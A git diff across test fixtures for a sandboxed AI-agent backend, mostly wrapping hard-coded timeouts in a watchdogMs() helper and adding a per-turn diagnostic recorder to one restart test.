b/packages/ui-backend-claude/tests/fixtures/provider-history-apify-probe.ts index 7bec9b57a3..13eda51678 100644 --- a/packages/ui-backend-claude/tests/fixtures/provider-history-apify-probe.ts +++ b/packages/ui-backend-claude/tests/fixtures/provider-history-apify-probe.ts @@ -1,3 +1,4 @@ +import { watchdogMs } from "../../../../scripts/test-deadlines"; import "../../../../scripts/test-network-child-preload.ts"; import { nativeScriptedService } from "../../../../scripts/test-native-guard.ts"; /** @@ -95,7 +96,7 @@ try { turnLock: { acquire: () => undefined, release: () => undefined } as never, log() {}, }); capture.appends.push(turn.options.systemPrompt); - const timer = setTimeout(() => controller.abort(), 30_000); + const timer = setTimeout(() => controller.abort(), watchdogMs(30_000)); try { let success = false; for await (const message of query({ prompt: turn.prompt, options: turn.options })) { diff --git a/packages/ui-backend-claude/tests/fixtures/provider-history-attachment-probe.ts b/packages/ui-backend-claude/tests/fixtures/provider-history-attachment-probe.ts index 90cf8c4f20..262a04dc76 100644 --- a/packages/ui-backend-claude/tests/fixtures/provider-history-attachment-probe.ts +++ b/packages/ui-backend-claude/tests/fixtures/provider-history-attachment-probe.ts @@ -1,3 +1,4 @@ +import { watchdogMs } from "../../../../scripts/test-deadlines"; import "../../../../scripts/test-network-child-preload.ts"; import { nativeScriptedService } from "../../../../scripts/test-native-guard.ts"; /** @@ -80,7 +81,7 @@ try { turnLock: { acquire: () => undefined, release: () => undefined } as never, log() {}, }); capture.appends.push(turn.options.systemPrompt); - const timer = setTimeout(() => controller.abort(), 30_000); + const timer = setTimeout(() => controller.abort(), watchdogMs(30_000)); try { let success = false; for await (const message of query({ prompt: turn.prompt, options: turn.options })) { diff --git a/packages/ui-backend-claude/tests/fixtures/provider-history-probe.ts b/packages/ui-backend-claude/tests/fixtures/provider-history-probe.ts index 9285a1072f..1247bfe6df 100644 --- a/packages/ui-backend-claude/tests/fixtures/provider-history-probe.ts +++ b/packages/ui-backend-claude/tests/fixtures/provider-history-probe.ts @@ -1,3 +1,4 @@ +import { watchdogMs } from "../../../../scripts/test-deadlines"; import "../../../../scripts/test-network-child-preload.ts"; import { nativeScriptedService } from "../../../../scripts/test-native-guard.ts"; /** The caller confines the SDK, bundled CLI and every tool to loopback. */ @@ -125,7 +126,7 @@ try { turnLock: { acquire: () => undefined, release: () => undefined } as never, log() {}, }); capture.appends.push(turn.options.systemPrompt); - const timer = setTimeout(() => controller.abort(), 30_000); + const timer = setTimeout(() => controller.abort(), watchdogMs(30_000)); try { let success = false; for await (const message of query({ prompt: turn.prompt, options: turn.options })) { diff --git a/packages/ui-backend-claude/tests/fixtures/sdk-host-relay-probe.ts b/packages/ui-backend-claude/tests/fixtures/sdk-host-relay-probe.ts index 17ef4414c3..80782f5c3f 100644 --- a/packages/ui-backend-claude/tests/fixtures/sdk-host-relay-probe.ts +++ b/packages/ui-backend-claude/tests/fixtures/sdk-host-relay-probe.ts @@ -294,7 +294,7 @@ try { try { await bounded(refreshEnded); } catch { closeRefresh?.(); } // The parent requires refreshCancelled=true. cancellationRetainedHostBytes = readFileSync(join(host, ".credentials.json")).equals(before); - const lock = await acquireHostCredentialExclusion({ domain: { directory }, timeoutMs: 1000 }); + const lock = await acquireHostCredentialExclusion({ domain: { directory }, timeoutMs: watchdogMs(1000) }); lock.release(); cancellationReleasedLock = true; } } diff --git a/packages/ui-backend-claude/tests/fixtures/session-prompt-probe.ts b/packages/ui-backend-claude/tests/fixtures/session-prompt-probe.ts index b16611d7ba..545bda28bc 100644 --- a/packages/ui-backend-claude/tests/fixtures/session-prompt-probe.ts +++ b/packages/ui-backend-claude/tests/fixtures/session-prompt-probe.ts @@ -1,3 +1,4 @@ +import { watchdogMs } from "../../../../scripts/test-deadlines"; import "../../../../scripts/test-network-child-preload.ts"; import { nativeScriptedService } from "../../../../scripts/test-native-guard.ts"; /** Real locked CLI, fake loopback Messages origin, offline namespace supplied by caller. */ @@ -52,7 +53,7 @@ try { turnLock: { acquire: () => undefined, release: () => undefined } as never, log() {}, }); if (!nativeSnapshot && typeof turn.options.systemPrompt === "object" && !Array.isArray(turn.options.systemPrompt)) turn.options.systemPrompt.snapshot = false; - const timer = setTimeout(() => abortController.abort(), 45000); + const timer = setTimeout(() => abortController.abort(), watchdogMs(45000)); try { let success = false; for await (const message of query({ prompt: turn.prompt, options: turn.options })) { diff --git a/packages/ui-backend-claude/tests/fixtures/shell-startup-probe.ts b/packages/ui-backend-claude/tests/fixtures/shell-startup-probe.ts index 35b3d0fbf5..ac5bd2889d 100644 --- a/packages/ui-backend-claude/tests/fixtures/shell-startup-probe.ts +++ b/packages/ui-backend-claude/tests/fixtures/shell-startup-probe.ts @@ -1,3 +1,4 @@ +import { watchdogMs } from "../../../../scripts/test-deadlines"; import "../../../../scripts/test-network-child-preload.ts"; import { nativeScriptedService } from "../../../../scripts/test-native-guard.ts"; /** Real SDK-selected CLI in the production worker; caller supplies an offline namespace. */ @@ -68,7 +69,7 @@ if (!expectedGit) throw new Error("The shell fixture requires an installed git e let worker: LaunchedWorker | undefined; let sent = false, selected: { command: string; args: string[] } | undefined; const messages: unknown[] = [], requests: unknown[] = [], stderr: string[] = []; -const abort = new AbortController(), timer = setTimeout(() => abort.abort(), 25_000); +const abort = new AbortController(), timer = setTimeout(() => abort.abort(), watchdogMs(25_000)); const server = Bun.serve({ hostname: "127.0.0.1", port: 0, async fetch(request) { if (!new URL(request.url).pathname.endsWith("/messages")) return Response.json({}); const body = await request.json() as { messages: unknown[]; tools?: { name: string }[] }; @@ -122,7 +123,7 @@ function capture() { async function captureTool() { // The native debug sink flushes asynchronously. Keep the live worker's // descriptors held until the branch receipt has reached the actual file. - const path = join(worker!.state!.root, "shell-debug.log"), deadline = Date.now() + 5_000; + const path = join(worker!.state!.root, "shell-debug.log"), deadline = Date.now() + watchdogMs(5_000); while (!(existsSync(path) && readFileSync(path, "utf8").includes(fallback ? "EEXIST" : "Spawning shell without login (-l flag skipped)"))) { if (Date.now() >= deadline) throw new Error("Native shell branch diagnostic did not flush."); await Bun.sleep(10); diff --git a/packages/ui-backend-claude/tests/fixtures/stable-roster-probe.ts b/packages/ui-backend-claude/tests/fixtures/stable-roster-probe.ts index 743f25b0f8..301d497bd3 100644 --- a/packages/ui-backend-claude/tests/fixtures/stable-roster-probe.ts +++ b/packages/ui-backend-claude/tests/fixtures/stable-roster-probe.ts @@ -1,3 +1,4 @@ +import { watchdogMs } from "../../../../scripts/test-deadlines"; import "../../../../scripts/test-network-child-preload.ts"; import { nativeScriptedService } from "../../../../scripts/test-native-guard.ts"; /** Installed CLI/SDK, isolated by the caller's offline network namespace. */ @@ -93,7 +94,7 @@ try { if ("hookSpecificOutput" in result && result.hookSpecificOutput?.hookEventName === "PreToolUse" && result.hookSpecificOutput.permissionDecision === "deny" && args[0].hook_event_name === "PreToolUse") active.denials.push(args[0].tool_name); return result; }) })); - const timer = setTimeout(() => controller.abort(), 30_000); + const timer = setTimeout(() => controller.abort(), watchdogMs(30_000)); try { for await (const message of query({ prompt: turn.prompt, options: turn.options })) { if (message.type === "system" && message.subtype === "init") Object.assign(active, { mcp: message.mcp_servers }); diff --git a/packages/ui-backend-claude/tests/fixtures/transcript-prefix-probe.ts b/packages/ui-backend-claude/tests/fixtures/transcript-prefix-probe.ts index 9b594e69d7..ba8106afa0 100644 --- a/packages/ui-backend-claude/tests/fixtures/transcript-prefix-probe.ts +++ b/packages/ui-backend-claude/tests/fixtures/transcript-prefix-probe.ts @@ -1,3 +1,4 @@ +import { watchdogMs } from "../../../../scripts/test-deadlines"; import "../../../../scripts/test-network-child-preload.ts"; import { nativeScriptedService } from "../../../../scripts/test-native-guard.ts"; /** Narrow #2049 proof; follows the offline CLI pattern from #2053/#2047. */ @@ -56,7 +57,7 @@ try { profile: { id: "fixture", label: "Fixture", model: "claude-sonnet-4-6", billing: "api", requiredEnvKeys: [], buildEnv: () => ({ ANTHROPIC_BASE_URL: server.url.origin, ANTHROPIC_API_KEY: "offline-odysseus", ...(!cacheEnabled ? { DISABLE_PROMPT_CACHING: "1" } : {}), CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC: "1", CLAUDE_CODE_DISABLE_AUTO_MEMORY: "1" }) }, abortController: controller, allowedTools: ["Read", "Bash"], confirmPatterns: [], turnLock: { acquire() {}, release() {} } as never, log() {} }); - const deadline = setTimeout(() => controller.abort(), 45000); + const deadline = setTimeout(() => controller.abort(), watchdogMs(45000)); try { let success = false; for await (const message of query({ prompt: turn.prompt, options: turn.options })) { diff --git a/packages/ui-backend-claude/tests/follow-up-delivery.test.ts b/packages/ui-backend-claude/tests/follow-up-delivery.test.ts index 573466c31c..158918cb7a 100644 --- a/packages/ui-backend-claude/tests/follow-up-delivery.test.ts +++ b/packages/ui-backend-claude/tests/follow-up-delivery.test.ts @@ -1,3 +1,4 @@ +import { watchdogMs } from "../../../scripts/test-deadlines"; import { nativeFixtureDirectory } from "../../../scripts/test-native-guard.ts"; import { nativeScriptedService } from "../../../scripts/test-native-guard.ts"; import { createFixtureWorkerStartupView, prepareFixtureWorkerSandbox } from "../../ui-sdk/tests/helpers/worker-startup-view-fixture.js"; @@ -279,7 +280,7 @@ async function runScenario(scenario: Scenario): Promise { } // Give the CLI time to read it before the step completes. A delivering // run reports it read; the control never will, so it waits out the bound. - const deadline = Date.now() + 2_000; + const deadline = Date.now() + watchdogMs(2_000); while (Date.now() < deadline && !observed.sdk.some(isQueued)) await Bun.sleep(25); }; diff --git a/packages/ui-backend-claude/tests/native-restart-versions.test.ts b/packages/ui-backend-claude/tests/native-restart-versions.test.ts index edb069d5bd..cd53b07529 100644 --- a/packages/ui-backend-claude/tests/native-restart-versions.test.ts +++ b/packages/ui-backend-claude/tests/native-restart-versions.test.ts @@ -1,3 +1,5 @@ +import { recordNativeRelayTurn } from "./helpers/native-relay-turn-diagnostic"; +import { watchdogMs } from "../../../scripts/test-deadlines"; import { nativeFixtureDirectory } from "../../../scripts/test-native-guard.ts"; import { nativeScriptedService } from "../../../scripts/test-native-guard.ts"; /** Actual installed native tools through the production runner; only the worker transport is replaced. */ @@ -20,9 +22,10 @@ for (const tool of ["Write", "Edit", "NotebookEdit"] as const) test(`restarted C writeFileSync(path, tool === "NotebookEdit" ? notebook("Penelope weaves.\n") : "Penelope weaves.\n"); utimesSync(path, new Date("2026-07-12T00:00:00Z"), new Date("2026-07-12T00:00:00Z")); const stamp = statSync(path); - let mode = "read", sent = 0, runtime: string | undefined, environmentCalls = 0, turns = 0; + let mode = "read", sent = 0, runtime: string | undefined, environmentCalls = 0, turns = 0, requests = 0; const server = Bun.serve({ hostname: "127.0.0.1", port: 0, async fetch(request) { if (new URL(request.url).pathname !== "/v1/messages") return Response.json({}); + requests++; const body = await request.json() as { tools?: { name: string }[] }; const name = mode === "read" || (mode === "recover" && sent === 0) ? "Read" : tool; if (sent >= (mode === "recover" ? 2 : 1) || !body.tools?.some(item => item.name === name)) return nativeModelReply(); @@ -55,7 +58,8 @@ for (const tool of ["Write", "Edit", "NotebookEdit"] as const) test(`restarted C let backend = makeBackend(), sessionId: string | undefined; async function turn(next: string) { mode = next; sent = 0; turns++; - const frames: ServerMessage[] = [], controller = new AbortController(), timer = setTimeout(() => controller.abort(), 20_000); + const turnStarted=performance.now(),requestStart=requests; + const frames: ServerMessage[] = [], controller = new AbortController(), timer = setTimeout(() => controller.abort(), watchdogMs(20_000)); try { await backend.startTurn({ sessionId, prompt: next, signal: controller.signal, workerSandbox: { brain, profile: "governed", restricted: false, areas: [], scratchAliasesRemoved: [] }, @@ -66,7 +70,12 @@ for (const tool of ["Write", "Edit", "NotebookEdit"] as const) test(`restarted C expect(sent, "ACTUAL_NATIVE_OPERATION_REQUESTED").toBe(next === "recover" ? 2 : 1); expect(frames.some(frame => frame.type === "result" && frame.outcome === "success")).toBe(true); return frames; - } finally { clearTimeout(timer); controller.abort(); } + } finally { + const terminal=frames.slice().reverse().find(frame=>frame.type==="result"||frame.type==="error"); + recordNativeRelayTurn({elapsedMs:performance.now()-turnStarted,aborted:controller.signal.aborted,requestDelta:requests-requestStart,refreshDelta:0, + outcome:terminal?.type==="result"?terminal.outcome:undefined,errorClass:terminal?.type==="result"?terminal.failure?.errorClass:terminal?.type==="error"?terminal.failure?.errorClass:undefined}); + clearTimeout(timer); controller.abort(); + } } try { await turn("read"); expect(sessionId).toBeDefined(); diff --git a/packages/ui-backend-claude/tests/native-stale-write.test.ts b/packages/ui-backend-claude/tests/native-stale-write.test.ts index 0a75755001..411f981ad3 100644 --- a/packages/ui-backend-claude/tests/native-stale-write.test.ts +++ b/packages/ui-backend-claude/tests/native-stale-write.test.ts @@ -1,3 +1,4 @@ +import { watchdogMs } from "../../../scripts/test-deadlines"; import { nativeFixtureDirectory } from "../../../scripts/test-native-guard.ts"; import { nativeScriptedService } from "../../../scripts/test-native-guard.ts"; /** Real installed CLI file tools, a scripted loopback model, and fictional credentials only. */ @@ -25,7 +26,7 @@ for (const toolName of ["Write", "Edit", "NotebookEdit"] as const) for (const mo { name: toolName, input: toolName === "Write" ? { file_path: path, content: "Athena charts.\n" } : toolName === "NotebookEdit" ? { notebook_path: path, cell_id: "loom", new_source: "Athena charts.", edit_mode: "replace" } : { file_path: path, old_string: "Penelope", new_string: "Odysseus" }, id: "toolu_ithaca_write" }]; if (reread) calls.splice(1, 0, { name: "Read", input: { file_path: path }, id: "toolu_ithaca_reread" }); let sent = 0, reads = 0, rereadContent: string | undefined, nativeDenial = false, version: string | undefined; - const controller = new AbortController(), timer = setTimeout(() => controller.abort(), 20_000); + const controller = new AbortController(), timer = setTimeout(() => controller.abort(), watchdogMs(20_000)); const server = Bun.serve({ hostname: "127.0.0.1", port: 0, async fetch(request) { if (new URL(request.url).pathname !== "/v1/messages") return Response.json({}); const body = await request.json() as { tools?: { name: string }[] }; diff --git a/packages/ui-backend-pi/tests/fixtures/native-host-auth-maintenance-probe.ts b/packages/ui-backend-pi/tests/fixtures/native-host-auth-maintenance-probe.ts index d10783749a..6e693b4f35 100644 --- a/packages/ui-backend-pi/tests/fixtures/native-host-auth-maintenance-probe.ts +++ b/packages/ui-backend-pi/tests/fixtures/native-host-auth-maintenance-probe.ts @@ -1,3 +1,4 @@ +import { watchdogMs } from "../../../../scripts/test-deadlines"; import { createFixtureWorkerStartupView } from "../../../ui-sdk/tests/helpers/worker-startup-view-fixture.js"; import { syncPiAuth } from "../../src/session-storage.js"; import { @@ -62,7 +63,7 @@ try { home, env: { PATH: "/usr/bin:/bin", HOME: home }, readPaths: restrictedReadPaths([process.execPath, entry]), - timeoutMs: 30000, + timeoutMs: watchdogMs(30000), }); assert.equal(result.exitCode, 0, result.stderr); const observation = JSON.parse(result.stdout.trim().split("\n").at(-1)!); diff --git a/packages/ui-react/tests/fixtures/contextual-conversation-browser-server.ts b/packages/ui-react/tests/fixtures/contextual-conversation-browser-server.ts index f19129ec88..53a0128f1a 100644 --- a/packages/ui-react/tests/fixtures/contextual-conversation-browser-server.ts +++ b/packages/ui-react/tests/fixtures/contextual-conversation-browser-server.ts @@ -1,3 +1,4 @@ +import { watchdogMs } from "../../../../scripts/test-deadlines"; /** #3070: real adapters/host/application policy with scripted inference and synthetic PCM. * A release barrier, not elapsed time, keeps the actual backend task pending. */ import { workerHostBoundary } from "../../../ui-sdk/src/server/worker-launcher.js"; @@ -158,7 +159,7 @@ const awaitSettledWork = (deadlineMs = 5000) => new Promise<"settled" | "deadlin if (workSettled()) return resolve("settled"); const finish = (result: "settled" | "deadline") => { clearTimeout(timer); receiptWaiters.delete(wake); resolve(result); }; const wake = () => { if (workSettled()) finish("settled"); }; - const timer = setTimeout(() => finish("deadline"), deadlineMs); + const timer = setTimeout(() => finish("deadline"), watchdogMs(deadlineMs)); receiptWaiters.add(wake); }); await handlers.onOpen(undefined as never, ws); diff --git a/packages/ui-sdk/tests/egress-identity-qualification.native.ts b/packages/ui-sdk/tests/egress-identity-qualification.native.ts index 198d763b07..04b553057b 100644 --- a/packages/ui-sdk/tests/egress-identity-qualification.native.ts +++ b/packages/ui-sdk/tests/egress-identity-qualification.native.ts @@ -1,3 +1,4 @@ +import { watchdogMs } from "../../../scripts/test-deadlines"; /** Actual helper/Unix/HTTP qualification; invoked only inside the disposable identity fixture. */ import { expect } from "bun:test"; import { chmodSync, existsSync, lstatSync, mkdirSync, mkdtempSync, renameSync, rmSync, symlinkSync, unlinkSync, writeFileSync } from "node:fs"; @@ -27,7 +28,7 @@ async function run(proxyDir: string, program: string) { command: ["/usr/bin/python3", "-I", "-S", "-c", program], env: { PATH: "/usr/bin:/bin", HOME: "/tmp" }, egress: { proxyDir }, stateBytes: 1024 * 1024, turnTempBytes: 1024 * 1024 }); worker.stdin.end(); output = collect(worker.stdout); errors = collect(worker.stderr); - timer = setTimeout(() => worker?.kill("SIGKILL"), 10000); + timer = setTimeout(() => worker?.kill("SIGKILL"), watchdogMs(10000)); const exit = await worker.exited; settled = true; // The real supervisor retains pipe writers while these handles remain held. worker.state?.close(); worker.turnTemp?.close(); diff --git a/packages/ui-sdk/tests/fixtures/native-worker-startup-diagnostics.ts b/packages/ui-sdk/tests/fixtures/native-worker-startup-diagnostics.ts index 9deb7143b0..f13871ab3b 100644 --- a/packages/ui-sdk/tests/fixtures/native-worker-startup-diagnostics.ts +++ b/packages/ui-sdk/tests/fixtures/native-worker-startup-diagnostics.ts @@ -1,3 +1,4 @@ +import { watchdogMs } from "../../../../scripts/test-deadlines"; /** Test-only startup evidence; never write raw stderr, argv or environment. */ import type { Readable } from "node:stream"; import { createRedactor } from "../../../compute-boat/src/redact.js"; @@ -33,5 +34,5 @@ export function observeNativeWorkerStartup(worker: StartupWorker, bootstrap: Boo console.error(JSON.stringify({kind:"native-fixture-worker-exit",exitCode:code,signal:bootstrap.signalCode,signalScope:"worker-bootstrap",bootstrapExitCode:bootstrap.exitCode})); },error=>{ console.error(JSON.stringify({kind:"native-fixture-worker-exit",exitCode:null,signal:bootstrap.signalCode,signalScope:"worker-bootstrap",bootstrapExitCode:bootstrap.exitCode,message:scrub(String(error))})); - }).finally(()=>{setTimeout(flush,2000).unref();}); + }).finally(()=>{setTimeout(flush,watchdogMs(2000)).unref();}); } diff --git a/packages/ui-sdk/tests/fixtures/ordinary-identity-root.ts b/packages/ui-sdk/tests/fixtures/ordinary-identity-root.ts index 36e4fe7d57..8c5866850d 100644 --- a/packages/ui-sdk/tests/fixtures/ordinary-identity-root.ts +++ b/packages/ui-sdk/tests/fixtures/ordinary-identity-root.ts @@ -1,3 +1,4 @@ +import { watchdogMs } from "../../../../scripts/test-deadlines"; import { writePrivateProofArtifact } from "./private-proof-artifact.js"; import { PRIVATE_FIXTURE_DIRECTORY_ACCESS } from "./private-fixture-directory-access.js"; import { defaultIdentityPhase } from "./default-identity-phases.js"; @@ -213,7 +214,7 @@ if (process.argv[2] === "--index-child") { const started = performance.now(); const child = Bun.spawn(["/usr/bin/setpriv", "--reuid=21001", "--regid=21001", "--groups=21003", process.execPath, "--preload", "/repo/scripts/test-network-child-preload.ts", import.meta.filename, process.argv[2] === "--index-controls" ? "--index-child" : "--child", ...(sharedGit ? ["--shared-git"] : []), ...(omitProbeStatePlacement ? ["--omit-probe-state-placement"] : []), ...(privateGitInputs ? ["--private-git-inputs"] : []), ...(bootPruneCapture ? ["--boot-prune-capture"] : []), ...(applicationScenario === "db-repeat" && phase === "warm" ? ["--db-repeat-index"] : []), ...(phase ? [sharedGit ? `--shared-phase=${phase}` : `--default-phase=${phase}`] : [])], { - env: { PATH: "/usr/local/bin:/usr/bin:/bin", HOME: "/identity-server-private", BRAIN_UI_WORKER_IDENTITY_HELPER: "/usr/local/bin/identity-helper" }, stdout: "pipe", stderr: "pipe", timeout: IDENTITY_PHASE_TIMEOUT_MS }); + env: { PATH: "/usr/local/bin:/usr/bin:/bin", HOME: "/identity-server-private", BRAIN_UI_WORKER_IDENTITY_HELPER: "/usr/local/bin/identity-helper" }, stdout: "pipe", stderr: "pipe", timeout: watchdogMs(IDENTITY_PHASE_TIMEOUT_MS) }); const [capturedOutput, capturedErrors, code] = await Promise.all([ phase ? retainFixtureStream(child.stdout, `/proof/${sharedGit ? "shared-git" : "default"}-${phase}-server.stdout`) : new Response(child.stdout).text().then((text): Awaited> => ({ text })), phase ? retainFixtureStream(child.stderr, `/proof/${sharedGit ? "shared-git" : "default"}-${phase}-server.stderr`) : new Response(child.stderr).text().then((text): Awaited> => ({ text })), child.exited]); @@ -247,7 +248,7 @@ if (process.argv[2] === "--index-child") { } } finally { foreign.stop(true); for (const relay of restrictedRelays) relay.stop(true); await service.close(); - const deadline = Date.now() + IDENTITY_CLEANUP_TIMEOUT_MS; + const deadline = Date.now() + watchdogMs(IDENTITY_CLEANUP_TIMEOUT_MS); for (;;) { const records = readdirSync("/run/brain-identity-fixture"); const sources = existsSync("/run/brain-identity-mounts") ? readdirSync("/run/brain-identity-mounts") : []; diff --git a/packages/ui-sdk/tests/fixtures/ordinary-identity-ws.ts b/packages/ui-sdk/tests/fixtures/ordinary-identity-ws.ts index 70bb788326..086afba70d 100644 --- a/packages/ui-sdk/tests/fixtures/ordinary-identity-ws.ts +++ b/packages/ui-sdk/tests/fixtures/ordinary-identity-ws.ts @@ -1,3 +1,4 @@ +import { watchdogMs } from "../../../../scripts/test-deadlines"; import { captureNativeReceipts } from "../../../../scripts/native-test-receipts.ts"; import "../../../../scripts/test-network-child-preload.ts"; import { query } from "@anthropic-ai/claude-agent-sdk"; @@ -157,7 +158,7 @@ function recordFixtureRootMetadata(phase: "before-app" | "after-app") { console.log(receipt); } async function until(check: () => boolean, label: string) { - const deadline = Date.now() + 30000; + const deadline = Date.now() + watchdogMs(30000); while (!check()) { if (Date.now() > deadline) throw Error(label); await Bun.sleep(10); } } try { diff --git a/packages/ui-sdk/tests/fixtures/scratch-mask-identity-ws.ts b/packages/ui-sdk/tests/fixtures/scratch-mask-identity-ws.ts index eb7d43a226..8eec7e3081 100644 --- a/packages/ui-sdk/tests/fixtures/scratch-mask-identity-ws.ts +++ b/packages/ui-sdk/tests/fixtures/scratch-mask-identity-ws.ts @@ -1,3 +1,4 @@ +import { watchdogMs } from "../../../../scripts/test-deadlines"; import "../../../../scripts/test-network-child-preload.ts"; import {nativeScriptedService} from "../../../../scripts/test-native-guard.ts"; import { prepareNativeScratchMask, answerNativeScratchMask, exerciseNativeScratchMask } from "./scratch-mask-native.js"; @@ -93,7 +94,7 @@ function recordFixtureRootMetadata(phase: "before-app" | "after-app") { console.log(receipt); } async function until(check: () => boolean, label: string) { - const deadline = Date.now() + 30000; + const deadline = Date.now() + watchdogMs(30000); while (!check()) { if (Date.now() > deadline) throw Error(label); await Bun.sleep(10); } } try { diff --git a/packages/ui-sdk/tests/fixtures/scratch-mask-native.ts b/packages/ui-sdk/tests/fixtures/scratch-mask-native.ts index 248b6bccd7..3db631cb65 100644 --- a/packages/ui-sdk/tests/fixtures/scratch-mask-native.ts +++ b/packages/ui-sdk/tests/fixtures/scratch-mask-native.ts @@ -1,3 +1,4 @@ +import { watchdogMs } from "../../../../scripts/test-deadlines"; /** Synthetic PNGs through the real native hosted bridge; no image provider. */ import { expect } from "bun:test"; import { existsSync, mkdirSync, readFileSync, writeFileSync, utimesSync, rmSync } from "node:fs"; @@ -34,7 +35,7 @@ export async function exerciseNativeScratchMask(request: Parameters worker.kill("SIGKILL"), 10000); + const timer = setTimeout(() => worker.kill("SIGKILL"), watchdogMs(10000)); try { worker.stdin.end(); const collect = async (stream: import("node:stream").Readable) => { let text = ""; for await (const chunk of stream) text += chunk.toString(); return text; }; diff --git a/packages/ui-sdk/tests/gate-holder-crash.test.ts b/packages/ui-sdk/tests/gate-holder-crash.test.ts index fe17ccf049..ed652a727b 100644 --- a/packages/ui-sdk/tests/gate-holder-crash.test.ts +++ b/packages/ui-sdk/tests/gate-holder-crash.test.ts @@ -1,3 +1,4 @@ +import { watchdogMs } from "../../../scripts/test-deadlines"; import { afterEach, expect, test } from "bun:test"; import { existsSync, mkdirSync, mkdtempSync, readFileSync, rmSync, writeFileSync } from "node:fs"; import { tmpdir } from "node:os"; @@ -46,7 +47,7 @@ async function crashBeforeRelease(mode: string, token?: string, eof?: "eof"): Pr const server = Bun.spawn([process.execPath, SERVER, brain, mode, ...token === undefined ? [] : [JSON.stringify(token)], ...eof ? [eof] : []], { env: { ...process.env }, stdin: "ignore", stdout: "pipe", stderr: "pipe" }); owned.push({ pid: server.pid, start: stat(server.pid)?.[19] ?? "" }); - const line = await readLine(server.stdout, Date.now() + 15_000).catch(async error => { + const line = await readLine(server.stdout, Date.now() + watchdogMs(15_000)).catch(async error => { server.kill("SIGKILL"); await server.exited; throw new Error(`${String(error)}: ${await new Response(server.stderr).text()}`); }); @@ -59,7 +60,7 @@ async function crashBeforeRelease(mode: string, token?: string, eof?: "eof"): Pr server.kill("SIGKILL"); await server.exited; expect(server.signalCode, "the gate holder died by SIGKILL").toBe("SIGKILL"); - const deadline = Date.now() + DEATH_MS; + const deadline = Date.now() + watchdogMs(DEATH_MS); while (launch.some(alive) && Date.now() < deadline) await Bun.sleep(5); expect(launch.filter(alive), "every process of the launch ended after the holder's death").toEqual([]); return { brain, launch: launch.length }; diff --git a/packages/ui-sdk/tests/governed-worker.test.ts b/packages/ui-sdk/tests/governed-worker.test.ts index e53e25270a..19f0da616c 100644 --- a/packages/ui-sdk/tests/governed-worker.test.ts +++ b/packages/ui-sdk/tests/governed-worker.test.ts @@ -1,3 +1,4 @@ +import { watchdogMs } from "../../../scripts/test-deadlines"; import { afterEach, expect, spyOn, test } from "bun:test"; import { constants, mkdtempSync, mkdirSync, openSync, writeFileSync, readFileSync, readdirSync, rmSync, renameSync, existsSync, linkSync, symlinkSync } from "node:fs"; import { tmpdir } from "node:os"; @@ -215,7 +216,7 @@ test("root and ancestor pins keep live peer additions behind a fixed directory c }; let timer: ReturnType | undefined; try { - await Promise.race([ready(), new Promise((_, reject) => { timer = setTimeout(() => reject(Error("Provider folder reader readiness timed out")), 5000); })]); + await Promise.race([ready(), new Promise((_, reject) => { timer = setTimeout(() => reject(Error("Provider folder reader readiness timed out")), watchdogMs(5000)); })]); clearTimeout(timer); const writer = Bun.spawnSync(workerCommand({ brainPath: brain, sandbox: prepare(), env: { PATH: "/usr/bin:/bin" }, command: ["/bin/sh", "-c", ` mv -T group/private group/moved-private 2>/dev/null; printf 'root=%s\\n' "$?" @@ -368,7 +369,7 @@ test("a broker brain view qualifies mounts only as the worker's own brain mount" const qualify = (path: string) => { let closed = 0; const open = () => openSync(path, constants.O_RDONLY | constants.O_DIRECTORY), close = () => { closed++; }; - const run = () => verifyWorkerFolderMounts(brain, sandbox.protection, sandbox.retainedFolders, pid, Date.now() + 5_000, undefined, + const run = () => verifyWorkerFolderMounts(brain, sandbox.protection, sandbox.retainedFolders, pid, Date.now() + watchdogMs(5_000), undefined, { open: () => workerStep(open, async () => open()), close: () => workerStep(close, async () => close()) }); return { run, closed: () => closed }; }; diff --git a/packages/ui-sdk/tests/identity-broker-qualification.native.ts b/packages/ui-sdk/tests/identity-broker-qualification.native.ts index 333df841f1..15248c7fd4 100644 --- a/packages/ui-sdk/tests/identity-broker-qualification.native.ts +++ b/packages/ui-sdk/tests/identity-broker-qualification.native.ts @@ -1,3 +1,4 @@ +import { watchdogMs } from "../../../scripts/test-deadlines"; /** Explicit disposable-container proof; never installs a helper on the host. */ import { expect, spyOn } from "bun:test"; import * as identity from "../src/server/worker-identity.js"; @@ -18,7 +19,7 @@ const MIB = 1024 * 1024; let cases = 0; const sleep = (ms: number) => Bun.sleep(ms); async function until(condition: () => boolean, label: string, timeout = 5000) { - const deadline = Date.now() + timeout; + const deadline = Date.now() + watchdogMs(timeout); while (!condition()) { if (Date.now() >= deadline) throw Error(label); await sleep(20); } } function workerPids(): number[] { @@ -47,7 +48,7 @@ async function close(worker: LaunchedWorker) { } async function check(name: string, run: () => Promise) { let timer: ReturnType | undefined; - try { await Promise.race([run(), new Promise((_resolve, reject) => { timer = setTimeout(() => reject(Error(`IDENTITY_CASE_TIMED_OUT: ${name}`)), 20000); })]); } + try { await Promise.race([run(), new Promise((_resolve, reject) => { timer = setTimeout(() => reject(Error(`IDENTITY_CASE_TIMED_OUT: ${name}`)), watchdogMs(20000)); })]); } finally { clearTimeout(timer); } cases++; console.log(JSON.stringify({ case: name, result: "pass" })); } @@ -365,7 +366,7 @@ control=[(socket.SOL_SOCKET,socket.SCM_RIGHTS,array.array('i',[os.open('/dev/nul left.sendmsg([request.encode()],control) reply=json.loads(left.recv(65536));out,error=child.communicate(timeout=5) print(json.dumps(dict(reply=reply,code=child.returncode)))`; - const child=Bun.spawnSync(["/usr/bin/python3","-I","-S","-c",script],{env:{},stdout:"pipe",stderr:"pipe",timeout:7000}); + const child=Bun.spawnSync(["/usr/bin/python3","-I","-S","-c",script],{env:{},stdout:"pipe",stderr:"pipe",timeout:watchdogMs(7000)}); expect(child.exitCode,attempt.name+": "+child.stderr.toString()).toBe(0); const result=JSON.parse(child.stdout.toString());expect(result.code).toBe(125);expect(result.reply.ok).toBe(false);expect(result.reply.reason).toContain(attempt.reason); } diff --git a/packages/ui-sdk/tests/refused-launch-gate.test.ts b/packages/ui-sdk/tests/refused-launch-gate.test.ts index 7809b2bded..157a491008 100644 --- a/packages/ui-sdk/tests/refused-launch-gate.test.ts +++ b/packages/ui-sdk/tests/refused-launch-gate.test.ts @@ -1,3 +1,4 @@ +import { watchdogMs } from "../../../scripts/test-deadlines"; import { afterEach, beforeEach, expect, spyOn, test } from "bun:test"; import { existsSync, mkdirSync, mkdtempSync, readFileSync, renameSync, rmSync, writeFileSync } from "node:fs"; import { tmpdir } from "node:os"; @@ -24,7 +25,7 